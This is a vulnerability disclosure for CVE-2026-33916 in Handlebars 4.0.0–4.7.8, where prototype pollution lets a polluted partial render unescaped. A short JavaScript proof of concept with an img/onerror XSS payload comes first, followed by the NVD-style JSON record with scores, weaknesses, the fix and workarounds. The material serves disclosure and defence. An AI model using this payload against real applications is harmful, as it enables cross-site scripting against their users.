CVE-2026-33916

// Simulate Prototype Pollution // In a real attack, this might happen via a vulnerable library merging user input into Object.prototype Object.prototype.pollutedPartial = '<img src=x onerror=alert(1)>'; const Handlebars = require('handlebars'); // The template tries to render a partial named 'pollutedPartial' // Since it's not defined in local partials, but exists on the prototype, it gets picked up const template = Handlebars.compile('{{> pollutedPartial}}'); // Execute template const result = template({}); console.log(result); // Output will contain the unescaped img tag

{"cve": {"id": "CVE-2026-33916", "sourceIdentifier": "[email protected]", "published": "2026-03-27T21:17:27.237", "lastModified": "2026-03-31T17:48:27.727", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Handlebars provides the power necessary to let users build semantic templates. In versions 4.0.0 through 4.7.8, `resolvePartial()` in the Handlebars runtime resolves partial names via a plain property lookup on `options.partials` without guarding against prototype-chain traversal. When `Object.prototype` has been polluted with a string value whose key matches a partial reference in a template, the polluted string is used as the partial body and rendered without HTML escaping, resulting in reflected or stored XSS. Version 4.7.9 fixes the issue. Some workarounds are available. Apply `Object.freeze(Object.prototype)` early in application startup to prevent prototype pollution. Note: this may break other libraries, and/or use the Handlebars runtime-only build (`handlebars/runtime`), which does not compile templates and reduces the attack surface."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 4.7, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.6, "impactScore": 2.7}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 4.7, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.6, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}, {"lang": "en", "value": "CWE-1321"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:handlebarsjs:handlebars:*:*:*:*:*:node.js:*:*", "versionStartIncluding": "4.0.0", "versionEndExcluding": "4.7.9", "matchCriteriaId": "A9D1F9A7-8359-4C3F-9932-4A085094F388"}]}]}], "references": [{"url": "https://github.com/handlebars-lang/handlebars.js/commit/68d8df5a88e0a26fe9e6084c5c6aaebe67b07da2", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/handlebars-lang/handlebars.js/releases/tag/v4.7.9", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/handlebars-lang/handlebars.js/security/advisories/GHSA-2qvq-rjwj-gvw9", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}